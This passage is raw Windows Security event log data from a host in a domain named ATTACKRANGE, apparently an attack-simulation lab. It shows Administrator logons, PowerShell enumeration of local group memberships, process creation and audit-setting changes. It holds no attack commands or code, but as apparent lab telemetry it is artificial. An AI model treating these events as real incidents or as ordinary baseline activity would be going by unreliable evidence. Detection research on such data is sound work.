logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247288 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247287 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247286 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1181CA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247285 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1181CA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247284 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1181CA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247283 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247282 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247281 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x117ADF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247280 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x117047 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247279 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x115CD9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=User Account Management -OpCode=Info -RecordNumber=247278 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - -Process Information: - Process ID: 0xe88 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=User Account Management -OpCode=Info -RecordNumber=247277 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - -Process Information: - Process ID: 0xe88 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=User Account Management -OpCode=Info -RecordNumber=247276 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - -Process Information: - Process ID: 0xe88 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=User Account Management -OpCode=Info -RecordNumber=247275 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - -Process Information: - Process ID: 0xe88 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247274 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1180CA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247273 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1180CA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247272 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1180CA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0xe88 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247271 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=User Account Management -OpCode=Info -RecordNumber=247270 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -User: - Security ID: ATTACKRANGE\Guest - Account Name: Guest - Account Domain: WIN-DC-725 - -Process Information: - Process ID: 0xe88 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=User Account Management -OpCode=Info -RecordNumber=247269 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -User: - Security ID: ATTACKRANGE\DefaultAccount - Account Name: DefaultAccount - Account Domain: WIN-DC-725 - -Process Information: - Process ID: 0xe88 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=User Account Management -OpCode=Info -RecordNumber=247268 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - -Process Information: - Process ID: 0xe88 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -03/11/2021 11:42:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247319 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x11BD5B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247318 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x11BD5B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247317 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247316 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247320 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe4c - New Process Name: C:\Windows\Temp\62FEE3A1-7685-4BF9-8DD4-65270B4CC9F9\DismHost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd24 - Creator Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Process Command Line: C:\Windows\TEMP\62FEE3A1-7685-4BF9-8DD4-65270B4CC9F9\dismhost.exe {84B727BC-76DE-49DE-9B2E-1FBF77324796} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247321 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x62c - New Process Name: C:\Windows\System32\wermgr.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x418 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wermgr.exe -upload - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247485 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectory.Types.ps1xml - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247484 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectory.psd1 - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247483 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectory.Format.ps1xml - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247482 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\schmmgmt.dll.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247481 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\repadmin.exe.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247480 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\rendom.exe.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247479 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\redirusr.exe.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247478 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\redircmp.exe.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: 